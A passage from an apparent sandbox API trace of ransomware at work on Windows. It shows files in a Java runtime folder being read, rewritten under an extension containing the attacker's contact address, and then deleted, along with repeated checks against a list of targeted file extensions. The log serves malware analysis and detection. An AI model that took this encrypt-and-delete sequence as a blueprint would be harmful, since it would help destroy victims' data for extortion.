lpOverlapped=0x0) returned 1 [0303.507] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.507] WriteFile (in: hFile=0x10e8, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0303.507] SetEndOfFile (hFile=0x10e8) returned 1 [0303.507] CloseHandle (hObject=0x10e8) returned 1 [0303.507] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.507] SetEndOfFile (hFile=0x10a4) returned 1 [0303.508] CloseHandle (hObject=0x10a4) returned 1 [0303.509] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.509] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\sunmscapi.dll")) returned 1 [0303.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.509] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.509] lstrlenW (lpString=".doc") returned 4 [0303.509] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.509] lstrlenW (lpString=".docx") returned 5 [0303.509] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0303.509] lstrlenW (lpString=".pdf") returned 4 [0303.509] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.509] lstrlenW (lpString=".xls") returned 4 [0303.509] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.509] lstrlenW (lpString=".xlsx") returned 5 [0303.509] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0303.509] lstrlenW (lpString=".ppt") returned 4 [0303.509] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString=".zip") returned 4 [0303.510] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString=".rar") returned 4 [0303.510] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString=".bz2") returned 4 [0303.510] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.510] lstrlenW (lpString=".7z") returned 3 [0303.510] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString=".dbf") returned 4 [0303.510] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString=".1cd") returned 4 [0303.510] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString=".jpg") returned 4 [0303.510] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.510] lstrlenW (lpString=".doc") returned 4 [0303.510] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString=".docx") returned 5 [0303.510] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0303.510] lstrlenW (lpString=".pdf") returned 4 [0303.510] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0303.510] lstrlenW (lpString=".xls") returned 4 [0303.511] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0303.511] lstrlenW (lpString=".xlsx") returned 5 [0303.511] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0303.511] lstrlenW (lpString=".ppt") returned 4 [0303.511] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0303.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.511] lstrlenW (lpString=".zip") returned 4 [0303.511] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0303.511] lstrlenW (lpString=".rar") returned 4 [0303.511] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0303.511] lstrlenW (lpString=".bz2") returned 4 [0303.511] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0303.511] lstrlenW (lpString=".7z") returned 3 [0303.511] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0303.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.511] lstrlenW (lpString=".dbf") returned 4 [0303.511] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0303.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.511] lstrlenW (lpString=".1cd") returned 4 [0303.511] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0303.511] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\sunmscapi.dll") returned 52 [0303.511] lstrlenW (lpString=".jpg") returned 4 [0303.511] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0303.511] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0303.511] lstrlenW (lpString="tnameserv.exe") returned 13 [0303.512] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.512] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=16448) returned 1 [0303.512] CloseHandle (hObject=0x10a4) returned 1 [0303.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 0x20 [0303.512] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.512] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.512] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.513] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.513] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0303.653] GetLastError () returned 0x0 [0303.653] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x4040, lpOverlapped=0x0) returned 1 [0303.827] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x4050, lpOverlapped=0x0) returned 1 [0303.828] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.828] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0303.828] SetEndOfFile (hFile=0x1080) returned 1 [0303.828] CloseHandle (hObject=0x1080) returned 1 [0303.829] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.829] SetEndOfFile (hFile=0x10a4) returned 1 [0303.830] CloseHandle (hObject=0x10a4) returned 1 [0303.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.831] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe")) returned 1 [0303.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.831] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.831] lstrlenW (lpString=".doc") returned 4 [0303.831] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.831] lstrlenW (lpString=".docx") returned 5 [0303.831] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0303.831] lstrlenW (lpString=".pdf") returned 4 [0303.831] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.831] lstrlenW (lpString=".xls") returned 4 [0303.831] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.831] lstrlenW (lpString=".xlsx") returned 5 [0303.831] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0303.831] lstrlenW (lpString=".ppt") returned 4 [0303.832] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString=".zip") returned 4 [0303.832] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString=".rar") returned 4 [0303.832] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString=".bz2") returned 4 [0303.832] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.832] lstrlenW (lpString=".7z") returned 3 [0303.832] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString=".dbf") returned 4 [0303.832] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString=".1cd") returned 4 [0303.832] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString=".jpg") returned 4 [0303.832] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.832] lstrlenW (lpString=".doc") returned 4 [0303.832] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.832] lstrlenW (lpString=".docx") returned 5 [0303.832] lstrcmpiW (lpString1=".docx", lpString2="v.exe") returned -1 [0303.832] lstrlenW (lpString=".pdf") returned 4 [0303.832] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString=".xls") returned 4 [0303.832] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.832] lstrlenW (lpString=".xlsx") returned 5 [0303.833] lstrcmpiW (lpString1=".xlsx", lpString2="v.exe") returned -1 [0303.833] lstrlenW (lpString=".ppt") returned 4 [0303.833] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.833] lstrlenW (lpString=".zip") returned 4 [0303.833] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.833] lstrlenW (lpString=".rar") returned 4 [0303.833] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.833] lstrlenW (lpString=".bz2") returned 4 [0303.833] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.833] lstrlenW (lpString=".7z") returned 3 [0303.833] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.833] lstrlenW (lpString=".dbf") returned 4 [0303.833] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.833] lstrlenW (lpString=".1cd") returned 4 [0303.833] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.833] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 52 [0303.833] lstrlenW (lpString=".jpg") returned 4 [0303.833] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.833] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0303.833] lstrlenW (lpString="unpack200.exe") returned 13 [0303.833] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.834] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=197184) returned 1 [0303.834] CloseHandle (hObject=0x10a4) returned 1 [0303.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 0x20 [0303.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.834] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.834] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.834] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.834] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0303.835] GetLastError () returned 0x0 [0303.835] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x30240, lpOverlapped=0x0) returned 1 [0303.878] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x30250, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x30250, lpOverlapped=0x0) returned 1 [0303.881] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.881] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xee, lpOverlapped=0x0) returned 1 [0303.881] SetEndOfFile (hFile=0x1080) returned 1 [0303.881] CloseHandle (hObject=0x1080) returned 1 [0303.881] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.881] SetEndOfFile (hFile=0x10a4) returned 1 [0303.883] CloseHandle (hObject=0x10a4) returned 1 [0303.883] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.883] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\unpack200.exe")) returned 1 [0303.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.883] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.883] lstrlenW (lpString=".doc") returned 4 [0303.883] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.883] lstrlenW (lpString=".docx") returned 5 [0303.884] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0303.884] lstrlenW (lpString=".pdf") returned 4 [0303.884] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString=".xls") returned 4 [0303.884] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString=".xlsx") returned 5 [0303.884] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0303.884] lstrlenW (lpString=".ppt") returned 4 [0303.884] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString=".zip") returned 4 [0303.884] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString=".rar") returned 4 [0303.884] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString=".bz2") returned 4 [0303.884] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.884] lstrlenW (lpString=".7z") returned 3 [0303.884] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString=".dbf") returned 4 [0303.884] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString=".1cd") returned 4 [0303.884] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString=".jpg") returned 4 [0303.884] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.884] lstrlenW (lpString=".doc") returned 4 [0303.884] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0303.885] lstrlenW (lpString=".docx") returned 5 [0303.885] lstrcmpiW (lpString1=".docx", lpString2="0.exe") returned -1 [0303.885] lstrlenW (lpString=".pdf") returned 4 [0303.885] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0303.885] lstrlenW (lpString=".xls") returned 4 [0303.885] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0303.885] lstrlenW (lpString=".xlsx") returned 5 [0303.885] lstrcmpiW (lpString1=".xlsx", lpString2="0.exe") returned -1 [0303.885] lstrlenW (lpString=".ppt") returned 4 [0303.885] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0303.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.885] lstrlenW (lpString=".zip") returned 4 [0303.885] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0303.885] lstrlenW (lpString=".rar") returned 4 [0303.885] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0303.885] lstrlenW (lpString=".bz2") returned 4 [0303.885] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0303.885] lstrlenW (lpString=".7z") returned 3 [0303.885] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0303.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.885] lstrlenW (lpString=".dbf") returned 4 [0303.885] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0303.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.885] lstrlenW (lpString=".1cd") returned 4 [0303.885] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0303.885] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\unpack200.exe") returned 52 [0303.885] lstrlenW (lpString=".jpg") returned 4 [0303.885] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0303.885] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0303.885] lstrlenW (lpString="w2k_lsa_auth.dll") returned 16 [0303.886] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.886] GetFileSizeEx (in: hFile=0x10a4, lpFileSize=0x347ff14 | out: lpFileSize=0x347ff14*=24128) returned 1 [0303.886] CloseHandle (hObject=0x10a4) returned 1 [0303.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 0x20 [0303.886] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0303.886] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10a4 [0303.886] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.886] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.886] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1080 [0303.887] GetLastError () returned 0x0 [0303.887] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x5e40, lpOverlapped=0x0) returned 1 [0303.912] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0x5e50, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0x5e50, lpOverlapped=0x0) returned 1 [0303.913] ReadFile (in: hFile=0x10a4, lpBuffer=0x4030020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x347fecc, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesRead=0x347fecc*=0x0, lpOverlapped=0x0) returned 1 [0303.913] WriteFile (in: hFile=0x1080, lpBuffer=0x4030020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x347fc94, lpOverlapped=0x0 | out: lpBuffer=0x4030020*, lpNumberOfBytesWritten=0x347fc94*=0xf4, lpOverlapped=0x0) returned 1 [0303.913] SetEndOfFile (hFile=0x1080) returned 1 [0303.913] CloseHandle (hObject=0x1080) returned 1 [0303.913] SetFilePointerEx (in: hFile=0x10a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x347fec0 | out: lpNewFilePointer=0x0) returned 1 [0303.914] SetEndOfFile (hFile=0x10a4) returned 1 [0303.914] CloseHandle (hObject=0x10a4) returned 1 [0303.914] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x20) returned 1 [0303.915] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll")) returned 1 [0303.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.915] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\w2k_lsa_auth.dll") returned 55 [0303.915] lstrlenW (lpString=".doc") returned 4 